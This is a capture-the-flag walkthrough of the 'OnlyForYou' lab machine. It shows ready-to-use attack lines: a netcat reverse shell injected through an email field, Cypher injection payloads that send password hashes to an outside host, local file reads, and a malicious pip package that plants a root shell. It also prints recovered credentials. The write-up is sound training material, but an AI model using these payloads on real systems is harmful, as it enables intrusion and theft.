OnlyForYou
Recon
HTTP (80)

The application has no links going anywhere, so most probably nothing with dirbusting. Subdomain enumeration returns new domain:
└─$ domain='only4you.htb'; ffuf -u "http://$domain/" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fl 8
beta [Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 145ms]

We can download the source. From frontend we know that application allows to resize images and convert them.
└─$ curl http://beta.only4you.htb/source -Lso source.zip
└─$ unzip source.zip
└─$ code .
In app.py
the download functionality is vulnerable to LFI. RTFM, and Python's os.path.join
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
└─$ curl http://beta.only4you.htb/download -d image=/etc/hostname
only4you
└─$ curl http://beta.only4you.htb/download -d image=/etc/passwd -s | grep sh$
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:john:/home/john:/bin/bash
neo4j:x:997:997::/var/lib/neo4j:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
After some fuzzing we discover the path for application on server.
└─$ curl http://beta.only4you.htb/download -d image=/etc/nginx/sites-enabled/default
server {
listen 80;
return 301 http://only4you.htb$request_uri;
}
server {
listen 80;
server_name only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
}
}
server {
listen 80;
server_name beta.only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
}
}
└─$ curl http://beta.only4you.htb/download -d image=/var/www/only4you.htb/app.py
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid
app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
email = request.form['email']
subject = request.form['subject']
message = request.form['message']
ip = request.remote_addr
status = sendmessage(email, subject, message, ip)
if status == 0: flash('Something went wrong!', 'danger')
elif status == 1: flash('You are not authorized!', 'danger')
else: flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
return redirect('/#contact')
else:
return render_template('index.html')
└─$ curl http://beta.only4you.htb/download -d image=/var/www/only4you.htb/form.py
import smtplib
import re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1
else:
domains = []
ips = []
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
dms.pop(0)
for domain in dms:
domains.append(domain)
while True:
for domain in domains:
result = run(
[f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
domains.clear()
for domain in dms:
domains.append(domain)
elif "ip4:" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
pass
break
elif "ip4" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
return 1
for i in ips:
if ip == i:
return 2
elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
return 2
else:
return 1
def sendmessage(email, subject, message, ip):
status = issecure(email, ip)
if status == 2:
msg = EmailMessage()
msg['From'] = f'{email}'
msg['To'] = 'info@only4you.htb'
msg['Subject'] = f'{subject}'
msg['Message'] = f'{message}'
smtp = smtplib.SMTP(host='localhost', port=25)
smtp.send_message(msg)
smtp.quit()
return status
elif status == 1:
return status
else:
return status
The piece of code is vulnerable to code execution, it's running as shell
and it has no sanitization!
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
Regular expression is bypassable if we put our payload at the end:
import re
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
return f"dig txt {email.split('@', 1)[1]}"
print(issecure('let@me.in And Something Else', 'x'))
# dig txt me.in And Something Else
print(issecure('Something Else And let@me.in', 'x'))
# 0
└─$ curl http://only4you.htb/ -d 'name=x&subject=z&message=a' --data-urlencode 'email=let@me.in;busybox nc 10.10.14.99 4444 -e /bin/bash'
└─$ listen
Ncat: Connection from 10.129.90.221:33592.
script /dev/null -qc /bin/bash
www-data@only4you:~/only4you.htb$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
There are some internal applications running.
www-data@only4you:~/beta.only4you.htb$ ss -tunlp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 2048 127.0.0.1:8001 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=1031,fd=6),("nginx",pid=1030,fd=6))
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 4096 [::ffff:127.0.0.1]:7687 *:*
tcp LISTEN 0 50 [::ffff:127.0.0.1]:7474 *:*
The user www-data
doesn't have shell, so no SSH upgrade. I decided to upgrade nc
to pwncat-cs
.
We can use chisel to port forward the applications
└─$ chisel server -p 36000 --reverse
---
(local) pwncat$ upload www/chisel /tmp/chisel
/tmp/chisel ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 8.7/8.7 MB • 255.1 kB/s • 0:00:00
[18:02:14] uploaded 8.65MiB in 36.12 seconds upload.py:76
(remote) www-data@only4you:/var/www/only4you.htb$ chmod +x /tmp/chisel
(remote) www-data@only4you:/var/www/only4you.htb$ /tmp/chisel client 10.10.14.99:36000 R:3000:0.0.0.0:3000 R:8001:0.0.0.0:8001 R:7474:0.0.0.0:7474 R:7687:0.0.0.0:7687 &
3000 is Gogs, which seems to be Gitea alternative. No creds... moving on.

8001 is server ONLY4YOU
application, trying default credentials logs us in.

Creds:
admin:admin
The Tasks mentioned migrating to neo4j, we also saw this port with user. The /search
most likely performs contains
query for Name
field.

https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4jhttps://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploitshttps://hackmd.io/@Chivato/rkAN7Q9NY
Query is injectable, but it's not your typical SQL. Cypher has very different syntax compared to SQL.

Get the server version query works.
a' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.113/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
The page returns 500, but clearly the request with version information is made to us.

Get tables (or labels)
a' RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.113/?l='+label as l RETURN 0 as _0 //
10.129.159.186 - - [03/Dec/2024 14:54:05] "GET /?l=user HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:54:05] "GET /?l=employee HTTP/1.1" 200 -
Get columns (or keys)
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND distinct keys(f) as p LOAD CSV FROM 'http://10.10.14.113/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
10.129.159.186 - - [03/Dec/2024 14:56:52] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:53] "GET /?username=admin HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:53] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:53] "GET /?username=john HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:53] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:54] "GET /?username=admin HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:54] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:54] "GET /?username=john HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:55] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:55] "GET /?username=admin HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:55] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:56] "GET /?username=john HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:56] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:57] "GET /?username=admin HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:57] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:57] "GET /?username=john HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:57] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:58] "GET /?username=admin HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:58] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:58] "GET /?username=john HTTP/1.1" 200 -

Creds:
admin:admin
Creds:john:ThisIs4You
SSH (22)
We are now available to SSH as john in to the box.
└─$ ssh john@only4you.htb
john@only4you:~$ id
uid=1000(john) gid=1000(john) groups=1000(john)
User.txt
john@only4you:~$ cat user.txt
873699b3ac06c40b3b5d73b93f61bbc8
Privilege Escalation
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
We are able to login into Gogs on port 3000 with john's credentials, if we can create malicious python package we can get RCE.
Malicious Python Packages and Code Execution via pip download
└─$ git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi
└─$ cd this_is_fine_wuzzi
└─$ nano setup.py
...
def RunCommand():
__import__('os').system('install -m4777 /bin/bash /tmp/rootbash')
print("Hello, p0wnd!")
...
└─$ pip install setuptools build
└─$ python -m build
...
Successfully built this_is_fine_wuzzi-0.0.1.tar.gz and this_is_fine_wuzzi-0.0.1-py3-none-any.whl
Upload this tar.gz
to new Public repository, or edit the existing Test project to be public. After uploading we need to provide raw
url so file can be downloaded.
john@only4you:~$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Letmein/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/Letmein/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
Downloading http://127.0.0.1:3000/john/Letmein/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
- 2.8 kB 13.3 MB/s
Saved ./this_is_fine_wuzzi-0.0.1.tar.gz
Successfully downloaded this-is-fine-wuzzi
john@only4you:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john)
Root.txt
rootbash-5.0# cat /root/root.txt
1020cf4af6ec2d185ad311efc05f119a
Last updated